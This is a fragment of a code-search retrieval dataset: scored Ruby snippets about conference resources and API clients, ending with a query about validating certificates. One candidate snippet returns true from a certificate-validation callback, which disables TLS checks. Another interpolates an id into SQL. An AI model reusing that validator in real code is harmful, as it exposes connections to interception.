"text": "def get_conference_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConferencesApi.get_conference ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ConferencesApi.get_conference\"\n end\n # resource path\n local_var_path = \"/conferences/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2013')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConferencesApi#get_conference\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "09103f66f55a5eb3bde648b348042e34",
"score": "0.6092304",
"text": "def west\n @conferences[:west]\n end",
"title": ""
},
{
"docid": "409819f8231f58a13eae15b2aed7ca49",
"score": "0.6090509",
"text": "def show\n @conference = Conference.last\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml do\n\n @participant = @conference.participants.find_by_phone(params[\"Caller\"])\n @user = User.find_by_phone_number(params[\"Caller\"])\n @paricipant ||= @conference.participants.create(:phone => params[\"Caller\"], :location => params[\"FromCity\"] + params[\"FromState\"], :conference => @conference, :user => @user)\n\n response = Twilio::TwiML.build do |res|\n res.say \"This conference may be recorded\"\n res.dial do |call|\n call.conference @conference.title\n end\n # res.dial('708-525-1053', :record => true, :action => \"https://24fb.showoff.io\" + conference_path(@conference, :format => :xml), :method => 'post')\n end\n\n\n render :xml => response\n end\n end\n end",
"title": ""
},
{
"docid": "83be924e44128bcd37b4eb34efe06657",
"score": "0.6088281",
"text": "def index\n @conferences = Conference.all\n\n respond_with @conferences\n end",
"title": ""
},
{
"docid": "3535809f7398d8907155849117968a02",
"score": "0.6077949",
"text": "def new\n @conference = Conference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "3535809f7398d8907155849117968a02",
"score": "0.6077949",
"text": "def new\n @conference = Conference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "3535809f7398d8907155849117968a02",
"score": "0.6077949",
"text": "def new\n @conference = Conference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "4c7cb8a872d84eca9320341a3b4ca885",
"score": "0.6072555",
"text": "def set_conference\n @conference = Conference.includes(skripsi: {supervisors: :lecturer}).find(params[:id])\n end",
"title": ""
},
{
"docid": "f04c289f1b638c8e0be986e7953431e4",
"score": "0.6066973",
"text": "def conf_name\n x = self.conference_id\n y = Conference.find_by_id(x)\n return y.conference_name\n end",
"title": ""
},
{
"docid": "9e1cd9b4aeca06ce2c98a4eedab3ce19",
"score": "0.60440964",
"text": "def get_conference(account_id,\r\n conference_id)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::VOICEDEFAULT)\r\n _query_builder << '/api/v2/accounts/{accountId}/conferences/{conferenceId}'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => { 'value' => account_id, 'encode' => false },\r\n 'conferenceId' => { 'value' => conference_id, 'encode' => false }\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n VoiceBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n case _response.status_code\r\n when 400\r\n raise ApiErrorException.new(\r\n 'Something\\'s not quite right... Your request is invalid. Please' \\\r\n ' fix it before trying again.',\r\n _response\r\n )\r\n when 401\r\n raise APIException.new(\r\n 'Your credentials are invalid. Please use your Bandwidth dashboard' \\\r\n ' credentials to authenticate to the API.',\r\n _response\r\n )\r\n when 403\r\n raise ApiErrorException.new(\r\n 'User unauthorized to perform this action.',\r\n _response\r\n )\r\n when 404\r\n raise ApiErrorException.new(\r\n 'The resource specified cannot be found or does not belong to you.',\r\n _response\r\n )\r\n when 415\r\n raise ApiErrorException.new(\r\n 'We don\\'t support that media type. If a request body is required,' \\\r\n ' please send it to us as `application/json`.',\r\n _response\r\n )\r\n when 429\r\n raise ApiErrorException.new(\r\n 'You\\'re sending requests to this endpoint too frequently. Please' \\\r\n ' slow your request rate down and try again.',\r\n _response\r\n )\r\n when 500\r\n raise ApiErrorException.new(\r\n 'Something unexpected happened. Please try again.',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_response.raw_body)\r\n ApiResponse.new(\r\n _response, data: ConferenceState.from_hash(decoded)\r\n )\r\n end",
"title": ""
},
{
"docid": "dbf0e37b7a1d8b6607226ee5d898dd2e",
"score": "0.6035251",
"text": "def new\n @conference = Conference.new\n\n respond_with @conference\n end",
"title": ""
},
{
"docid": "1514e2ff3093146d328f13017dc35df4",
"score": "0.6033616",
"text": "def get_conference_0_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConferencesApi.get_conference_0 ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ConferencesApi.get_conference_0\"\n end\n # resource path\n local_var_path = \"/conferences/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2013')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConferencesApi#get_conference_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "3c5f714280462eb2c9255bb309350a3a",
"score": "0.6032663",
"text": "def conference\n self\n end",
"title": ""
},
{
"docid": "931e322969294a6cc71fd770b652fb5f",
"score": "0.6032132",
"text": "def conference_events\n begin\n conference = Conference.friendly.find(params[:id])\n\n rescue ActiveRecord::RecordNotFound\n render json: {errors: 'conference not found'}, status: 404\n return\n end\n\n @events = conference.events.where(shown: true, verified: true)\n\n render json: @events\n end",
"title": ""
},
{
"docid": "5057997eda964c64775d035725da25e6",
"score": "0.60261446",
"text": "def show\n @conference_number = ConferenceNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference_number }\n end\n end",
"title": ""
},
{
"docid": "1dc0ca139509ed9354eecfa3a07aa2d9",
"score": "0.60246956",
"text": "def new\n # @conference is created in before_filter\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conference }\n end\n end",
"title": ""
},
{
"docid": "b4bff24170e985b3f1a1ddb670e48c2e",
"score": "0.60147554",
"text": "def conference(params={}, &block)\n if block_given?\n create_nested_hash('conference', params)\n instance_exec(&block)\n @response[:tropo] << @nested_hash\n @nested_hash = nil\n @nested_name = nil\n else\n hash = build_action('conference', params)\n @response[:tropo] << hash\n end\n render_response if @building.nil?\n end",
"title": ""
},
{
"docid": "0141e90674901fda9b9ba2c2b5d16617",
"score": "0.59821534",
"text": "def index\n @conferences = Conference.all\n end",
"title": ""
},
{
"docid": "0141e90674901fda9b9ba2c2b5d16617",
"score": "0.59821534",
"text": "def index\n @conferences = Conference.all\n end",
"title": ""
},
{
"docid": "0141e90674901fda9b9ba2c2b5d16617",
"score": "0.59821534",
"text": "def index\n @conferences = Conference.all\n end",
"title": ""
},
{
"docid": "0141e90674901fda9b9ba2c2b5d16617",
"score": "0.5981412",
"text": "def index\n @conferences = Conference.all\n end",
"title": ""
},
{
"docid": "90c41de9b68420c83915e4128192ab25",
"score": "0.5979682",
"text": "def show\n @conference = Conference.find(params[:id])\n if @conference.event_id != session[:current_event_id].to_i\n flash[:error] = t(:not_correspond)\n redirect_to conferences_path and return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "362695055a6adb899ae177641326ac1c",
"score": "0.5962835",
"text": "def get_conference\n @conference = Conference.find_by_id(params[:conference_id]) ||\n Conference.past_with_timeslots[0]\n return false unless @conference\n end",
"title": ""
},
{
"docid": "569a727228fea3c4f57e77e7732efefc",
"score": "0.5959263",
"text": "def show\n if params[:id].to_i > 0\n @conference = Conference.find(params[:id])\n else\n @conference = Conference.all.select { |c| c.url_code == params[:id].downcase.gsub(\" \",\"\") }.first\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "bcdfbf842665cc4673d9211d8e3ed651",
"score": "0.5944214",
"text": "def index\n @conferences = current_user.conferences.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conferences }\n end\n end",
"title": ""
},
{
"docid": "2ee650a0f735199659acf07bf6628a40",
"score": "0.59412247",
"text": "def show\n @person = Person.find(params[:id])\n authorize! :read, @person\n @current_events = @person.events_as_presenter_in(@conference)\n @other_events = @person.events_as_presenter_not_in(@conference)\n clean_events_attributes\n @availabilities = @person.availabilities.where(\"conference_id = #{@conference.id}\")\n @expenses = @person.expenses.where(conference_id: @conference.id)\n @expenses_sum_reimbursed = @person.sum_of_expenses(@conference, true)\n @expenses_sum_non_reimbursed = @person.sum_of_expenses(@conference, false)\n\n @transport_needs = @person.transport_needs.where(:conference_id => @conference.id)\n\n respond_to do |format|\n format.html\n format.xml { render xml: @person }\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "575b72e5a33ab5f934218f46e3ec5938",
"score": "0.59406286",
"text": "def conferences\n @conferences = Conference.all.order('start_date DESC')\n\n render json: @conferences\n end",
"title": ""
},
{
"docid": "8fd3a5a944b10720227dd03976fc3cd9",
"score": "0.59363055",
"text": "def show\n @comment = Comment.in_conference(current_conference).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"title": ""
},
{
"docid": "b3331f0cac1aa29f79a080643d4a63e6",
"score": "0.59315354",
"text": "def create\n @conference = Conference.new(params[:conference])\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: t(:successfully_created) }\n format.json { render json: @conference, status: :created, location: @conference }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5450e9d64ea6a6a8327c1396489a90aa",
"score": "0.5923503",
"text": "def index\n @conferences = Conference.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "7ee37e2da8bc1a4ff08938757ff98e63",
"score": "0.59151614",
"text": "def conference_params\n # params[:conference]\n params.require(:conference).permit(:title, :description, :place, :start_date, :finish_date, :avaliable)\n end",
"title": ""
},
{
"docid": "5801897e4ef3f5e9c0409cb4e7af743c",
"score": "0.5914053",
"text": "def conference(params={}, &block) \n if block_given?\n create_nested_hash('conference', params)\n instance_exec(&block)\n @response[:tropo] << @nested_hash\n else\n hash = build_action('conference', params)\n @response[:tropo] << hash\n end\n render_response if @building.nil?\n end",
"title": ""
},
{
"docid": "b6ca6846cf59240b289d788f14c2832c",
"score": "0.58987725",
"text": "def conferences\n presentations.map{|p| p.conference}.compact.uniq.sort_by(&:start_date)\n end",
"title": ""
},
{
"docid": "1762a75db2e49223669c4d0dbc0f7bf2",
"score": "0.589818",
"text": "def list(conference_sid: T.unsafe(nil), friendly_name: T.unsafe(nil), status: T.unsafe(nil), created_after: T.unsafe(nil), created_before: T.unsafe(nil), mixer_region: T.unsafe(nil), tags: T.unsafe(nil), subaccount: T.unsafe(nil), detected_issues: T.unsafe(nil), end_reason: T.unsafe(nil), limit: T.unsafe(nil), page_size: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "9d426d4e7bd2878a650378fd45e056a3",
"score": "0.5896441",
"text": "def create_conferences_view_participant(options = {})\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/conferences/viewParticipant.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'ConferenceSid' => options['conference_sid'],\r\n 'ParticipantSid' => options['participant_sid']\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"title": ""
},
{
"docid": "a5ea0c79355bf4c833f9a685be4ae1b2",
"score": "0.58944786",
"text": "def create\n @conference = Conference.new(params[:conference])\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: 'Conference was successfully created.' }\n format.json { render json: @conference, status: :created, location: @conference }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5ea0c79355bf4c833f9a685be4ae1b2",
"score": "0.58944786",
"text": "def create\n @conference = Conference.new(params[:conference])\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: 'Conference was successfully created.' }\n format.json { render json: @conference, status: :created, location: @conference }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5ea0c79355bf4c833f9a685be4ae1b2",
"score": "0.58944786",
"text": "def create\n @conference = Conference.new(params[:conference])\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: 'Conference was successfully created.' }\n format.json { render json: @conference, status: :created, location: @conference }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f484ddb0d1be632245cda7fd1e027b3a",
"score": "0.58836806",
"text": "def conference_id=(value)\n @conference_id = value\n end",
"title": ""
},
{
"docid": "f484ddb0d1be632245cda7fd1e027b3a",
"score": "0.58836806",
"text": "def conference_id=(value)\n @conference_id = value\n end",
"title": ""
},
{
"docid": "f484ddb0d1be632245cda7fd1e027b3a",
"score": "0.58836806",
"text": "def conference_id=(value)\n @conference_id = value\n end",
"title": ""
},
{
"docid": "26d376606c4f8ea03c2d6a5e6f09019e",
"score": "0.5879992",
"text": "def conference\r\n ConferenceController.instance\r\n end",
"title": ""
},
{
"docid": "0ca77f4527a3cdc01ff58f75b344f6c3",
"score": "0.58758944",
"text": "def url\n 'https://conference.opensuse.org/'\n end",
"title": ""
},
{
"docid": "3f31ba6866bab560487b1b0be3eaa577",
"score": "0.5861967",
"text": "def list\n @other_confs = Conference.past_with_timeslots\n @totals = Attendance.totalized_for_conference(@conference) if @conference\n end",
"title": ""
},
{
"docid": "9cb40d32cc69c4d07c6824c558091309",
"score": "0.58465195",
"text": "def create\n @conference = Conference.new(conference_params)\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: 'Conference was successfully created.' }\n format.json { render :show, status: :created, location: @conference }\n else\n format.html { render :new }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9cb40d32cc69c4d07c6824c558091309",
"score": "0.58465195",
"text": "def create\n @conference = Conference.new(conference_params)\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: 'Conference was successfully created.' }\n format.json { render :show, status: :created, location: @conference }\n else\n format.html { render :new }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9cb40d32cc69c4d07c6824c558091309",
"score": "0.58465195",
"text": "def create\n @conference = Conference.new(conference_params)\n\n respond_to do |format|\n if @conference.save\n format.html { redirect_to @conference, notice: 'Conference was successfully created.' }\n format.json { render :show, status: :created, location: @conference }\n else\n format.html { render :new }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0f248c8b5414a6417b6491e4322b897",
"score": "0.5833913",
"text": "def conference_params\n params.require(:conference).permit(:name, :starts_on, :ends_on)\n end",
"title": ""
},
{
"docid": "121c218bfc64f2017a5fa88e2e173326",
"score": "0.58282197",
"text": "def get(conference_name, optional_params = {})\n response = Network.get(['Conferences', conference_name], optional_params)\n Conference.new(response)\n end",
"title": ""
},
{
"docid": "7bb796cea1d9208dfa7ec4d3f26d1ae1",
"score": "0.582087",
"text": "def get_conferences(account_id,\r\n name: nil,\r\n min_created_time: nil,\r\n max_created_time: nil,\r\n page_size: 1000,\r\n page_token: nil)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::VOICEDEFAULT)\r\n _query_builder << '/api/v2/accounts/{accountId}/conferences'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => { 'value' => account_id, 'encode' => false }\r\n )\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n 'name' => name,\r\n 'minCreatedTime' => min_created_time,\r\n 'maxCreatedTime' => max_created_time,\r\n 'pageSize' => page_size,\r\n 'pageToken' => page_token\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n VoiceBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n case _response.status_code\r\n when 400\r\n raise ApiErrorException.new(\r\n 'Something\\'s not quite right... Your request is invalid. Please' \\\r\n ' fix it before trying again.',\r\n _response\r\n )\r\n when 401\r\n raise APIException.new(\r\n 'Your credentials are invalid. Please use your Bandwidth dashboard' \\\r\n ' credentials to authenticate to the API.',\r\n _response\r\n )\r\n when 403\r\n raise ApiErrorException.new(\r\n 'User unauthorized to perform this action.',\r\n _response\r\n )\r\n when 404\r\n raise ApiErrorException.new(\r\n 'The resource specified cannot be found or does not belong to you.',\r\n _response\r\n )\r\n when 415\r\n raise ApiErrorException.new(\r\n 'We don\\'t support that media type. If a request body is required,' \\\r\n ' please send it to us as `application/json`.',\r\n _response\r\n )\r\n when 429\r\n raise ApiErrorException.new(\r\n 'You\\'re sending requests to this endpoint too frequently. Please' \\\r\n ' slow your request rate down and try again.',\r\n _response\r\n )\r\n when 500\r\n raise ApiErrorException.new(\r\n 'Something unexpected happened. Please try again.',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_response.raw_body)\r\n ApiResponse.new(\r\n _response,\r\n data: decoded.map { |element| ConferenceState.from_hash(element) }\r\n )\r\n end",
"title": ""
},
{
"docid": "2fad038e44ed10139bc1932488a2b932",
"score": "0.5816722",
"text": "def update\n respond_to do |format|\n if @conference.update(conference_params)\n format.html { redirect_to @conference, notice: 'Conference was successfully updated.' }\n format.json { render :show, status: :ok, location: @conference }\n else\n format.html { render :edit }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2fad038e44ed10139bc1932488a2b932",
"score": "0.5816722",
"text": "def update\n respond_to do |format|\n if @conference.update(conference_params)\n format.html { redirect_to @conference, notice: 'Conference was successfully updated.' }\n format.json { render :show, status: :ok, location: @conference }\n else\n format.html { render :edit }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2fad038e44ed10139bc1932488a2b932",
"score": "0.5816722",
"text": "def update\n respond_to do |format|\n if @conference.update(conference_params)\n format.html { redirect_to @conference, notice: 'Conference was successfully updated.' }\n format.json { render :show, status: :ok, location: @conference }\n else\n format.html { render :edit }\n format.json { render json: @conference.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "173420437ddad01fcda6432a7d4079ca",
"score": "0.581162",
"text": "def set_conference\n @conference = Conference.find(params[:id])\n end",
"title": ""
},
{
"docid": "173420437ddad01fcda6432a7d4079ca",
"score": "0.581162",
"text": "def set_conference\n @conference = Conference.find(params[:id])\n end",
"title": ""
},
{
"docid": "173420437ddad01fcda6432a7d4079ca",
"score": "0.581162",
"text": "def set_conference\n @conference = Conference.find(params[:id])\n end",
"title": ""
},
{
"docid": "173420437ddad01fcda6432a7d4079ca",
"score": "0.581162",
"text": "def set_conference\n @conference = Conference.find(params[:id])\n end",
"title": ""
},
{
"docid": "173420437ddad01fcda6432a7d4079ca",
"score": "0.581162",
"text": "def set_conference\n @conference = Conference.find(params[:id])\n end",
"title": ""
},
{
"docid": "367dc120efeaa64e429ef6e167eca1b8",
"score": "0.58068496",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Insights.V1.ParticipantInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "24147d55450608403ca0dc43458508a3",
"score": "0.58022124",
"text": "def conference_params\n params.require(:conference).permit(:local, :start, :end, :department_director_approval, examiners_attributes: [:id, :lecturer_id])\n # if params[:sidang].present?\n # return params.require(:sidang).permit(:local, :start, :end, examiners_attributes: [:id, :lecturer_id])\n # end\n # return params.require(:seminar).permit(:local, :start, :end, :department_director_approval)\n end",
"title": ""
},
{
"docid": "ecd844247911a55d3178c86f4964ea73",
"score": "0.5799596",
"text": "def create\n # @conference is created in before_filter\n\n respond_to do |format|\n if @conference.save\n flash[:notice] = 'Conference was successfully created.'\n format.html { redirect_to(@conference) }\n format.xml { render :xml => @conference, :status => :created, :location => @conference }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @conference.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d11af5f4adbcf8110a16b58be6c47db3",
"score": "0.5782801",
"text": "def conference_params\n params.fetch(:conference, {}).permit(\n :name,\n :start,\n :finish,\n :sale_from,\n :sale_to\n )\n end",
"title": ""
}
] |
c816a8d37b99e07675f0bd9d03f9f12c
|
Validates that the defined certificates exist
|
[
{
"docid": "c3db0243f6e97a10529bb8d716143db6",
"score": "0.8196438",
"text": "def validate_certificates\n validate_each :certificates do |c|\n cert = self.grid.certificates.find_by(subject: c[:subject])\n unless cert\n [:not_found, \"Certificate #{c[:subject]} does not exist\"]\n else\n nil\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "e5f8b81a87fba32ebff12559e7c8aeb8",
"score": "0.72337395",
"text": "def valid_certificates?\n Certificates.new(@chain_url, @signature, Oj.to_json(@request)).valid?\n end",
"title": ""
},
{
"docid": "83c2746096dae82d347896181c859a33",
"score": "0.6730149",
"text": "def safe_read_certs(filename)\n @certificates = read_certs!(filename)\n\n return !certificates.empty?\n rescue NotFound, OpenSSL::X509::CertificateError => e\n @errors << e.full_message\n\n return false\n end",
"title": ""
},
{
"docid": "4e55ebf127a8eb162a00e72abef4ef38",
"score": "0.66869134",
"text": "def verify_certs( certs )\n certs.each_with_index do |cert, index|\n if index == 0\n issuer = cert\n else\n issuer = certs[ index - 1 ]\n end\n begin\n cert.verify cert.public_key\n rescue Exception => e\n return FALSE\n end\n end\n return TRUE\n end",
"title": ""
},
{
"docid": "47fab15cf7957dda3715d6bd53293b3f",
"score": "0.658827",
"text": "def valid?(domains, valid_min = 0)\n if @cert.nil?\n logger.debug { 'no existing certificate' }\n return false\n end\n\n subjects = []\n @cert.extensions.each do |ext|\n if ext.oid == 'subjectAltName'\n subjects += ext.value.split(/,\\s*/).map { |s| s.sub(/DNS:/, '') }\n end\n end\n logger.debug { \"cert SANs: #{subjects.join(', ')}\" }\n\n # Check all domains are subjects of certificate\n unless domains.all? { |domain| subjects.include? domain }\n msg = 'At least one domain is not declared as a certificate subject. ' \\\n 'Backup and remove existing cert if you want to proceed.'\n raise Error, msg\n end\n\n !renewal_necessary?(valid_min)\n end",
"title": ""
},
{
"docid": "56d1a5f8ce1713ac493f8c9b583c56d2",
"score": "0.65718794",
"text": "def certificate_check_validity(opts)\n opts = check_params(opts,[:cert_ids,:watermark_days])\n super(opts)\n end",
"title": ""
},
{
"docid": "5fbb75b79b1b634d89e60c60bca75ffa",
"score": "0.65421385",
"text": "def validate_ssl_certificate; end",
"title": ""
},
{
"docid": "2438bbea08eeed20c978a873dc0b617e",
"score": "0.6526017",
"text": "def validate(certs, host)\n configure unless configured?\n\n certs = certs.collect { |c| OpenSSL::X509::Certificate.new(c) }\n @@logger.debug(\"Verifying certs for #{host}\")\n \n # 1. Verify that the last cert has a valid hostname \n unless OpenSSL::SSL.verify_certificate_identity(certs.last, host)\n @@logger.error(\"Hostname #{host} does not match cert: #{certs.last}\")\n return false\n end\n \n # 2. Verify that the first cert can be validated by a root certificate\n unless @@store.verify(certs.first)\n @@logger.error(\"Cert not validated by any of the root certificates in my store: #{certs.first}\")\n return false\n end\n \n # 3. Verify that every cert in the chain is validated by the cert after it\n (certs.length - 1).times do |i|\n cert_a = certs[i+1]\n cert_b = certs[i]\n unless cert_a.verify(cert_b.public_key)\n @@logger.error(\"Broken link in certificate chain for #{host} between #{cert_a} and #{cert_b}\")\n return false\n end\n end\n true\n end",
"title": ""
},
{
"docid": "e503bf49273a90dfae4728d891cf1a8b",
"score": "0.65212893",
"text": "def cert_upload\n # Here we should set up the current certs, including figuring out their status as valid/invalid\n end",
"title": ""
},
{
"docid": "5cd7f8f987a111ff14b1046ea6f6f3b6",
"score": "0.63855594",
"text": "def cert_exists?\n File.exist?(cert_path('privkey.pem'))\n end",
"title": ""
},
{
"docid": "16e6d99da65465d6cc2de5e82a21a434",
"score": "0.6382333",
"text": "def cert_exists?\n File.exist?(cert_path(\"privkey.pem\"))\n end",
"title": ""
},
{
"docid": "96b874b1d035b429441c6a769f24343d",
"score": "0.63204134",
"text": "def certified?(certificates)\n Array(certificates).all? { |certificate| adapter.certified?(certificate) }\n end",
"title": ""
},
{
"docid": "5ace7ca86153a24d75b73a3cc46ca046",
"score": "0.61917615",
"text": "def validate_certificate(is_ok, ctx)\n true\nend",
"title": ""
},
{
"docid": "0d17ad78ea1e3cd4b2a8a3a03459251c",
"score": "0.6157607",
"text": "def verify_ssl_certs; end",
"title": ""
},
{
"docid": "05887a4b2ae1b710dc31e4d74098f721",
"score": "0.61168176",
"text": "def certificates(*) end",
"title": ""
},
{
"docid": "8d2ea5e114652d6c49c817a07da851dc",
"score": "0.61124253",
"text": "def has_cert?(certname)\n File.exist?(paths_for_cert(certname)[:signed])\n end",
"title": ""
},
{
"docid": "e00517005f1fafc6f973f5d977f03dfe",
"score": "0.602787",
"text": "def cert_validate(certificate_thumbprint)\n validate_thumbprint(certificate_thumbprint)\n thumbprint = update_thumbprint(certificate_thumbprint)\n cert_pem = get_cert_pem(thumbprint)\n return cert_pem if cert_pem == \"Certificate Not Found\"\n cert_pem = format_pem(cert_pem)\n result = verify_certificate(cert_pem)\n result == false ? \"Certificate Has Expired\" : result\n end",
"title": ""
},
{
"docid": "03cb212f979b8513ad032c416c5a2f26",
"score": "0.6015376",
"text": "def handle_existing_puppet_certs\n info('Checking for existing puppetserver certificates', 'cyan')\n ssldir = Simp::Cli::Utils.puppet_info[:config]['ssldir']\n certs_exist = !Dir.glob(File.join(ssldir, '**', '*.pem')).empty?\n rm_ssldir = @remove_ssldir\n if rm_ssldir.nil? # not configured\n if certs_exist\n info('Existing puppetserver certificates have been found in')\n info(\" #{ssldir}\" )\n info('If this server has no registered agents, those certificates can be safely')\n info('removed. Otherwise, although removing them will ensure consistency, manual')\n info('steps may be required to ensure connectivity with existing Puppet clients.')\n info('(See https://docs.puppet.com/puppet/latest/ssl_regenerate_certificates.html)')\n info('Regardless, if removed, new puppetserver certificates will be generated')\n info('automatically.')\n question = \"> Do you wish to remove existing puppetserver certificates? (yes|no) \"\n rm_ask = ask(question.yellow) { |q| q.validate = /(yes)|(no)/i }\n rm_ssldir = (rm_ask.downcase == 'yes')\n end\n end\n if rm_ssldir\n FileUtils.rm_rf(Dir.glob(File.join(ssldir,'*')))\n info(\"Successfully removed #{ssldir}/*\", 'green')\n else\n info(\"Keeping current puppetserver certificates, in #{ssldir}\", 'green') if certs_exist\n end\n end",
"title": ""
},
{
"docid": "0764a2cef0d6e34a62d7eb60c97c41d2",
"score": "0.6013108",
"text": "def init_certificates\n @unavailable_certificates_pool = UnavailableCertificatesPool.new\n unavailable_certificates_pool.grant certificates\n end",
"title": ""
},
{
"docid": "3e87ee51599bd7b5d91d308581335038",
"score": "0.60096616",
"text": "def test_cert! \n puts \"test_cert\" \n if self.cert.nil? \n puts \"no certif\"\n raise APN::Errors::MissingCertificateError.new\n return false\n end \n return true \n end",
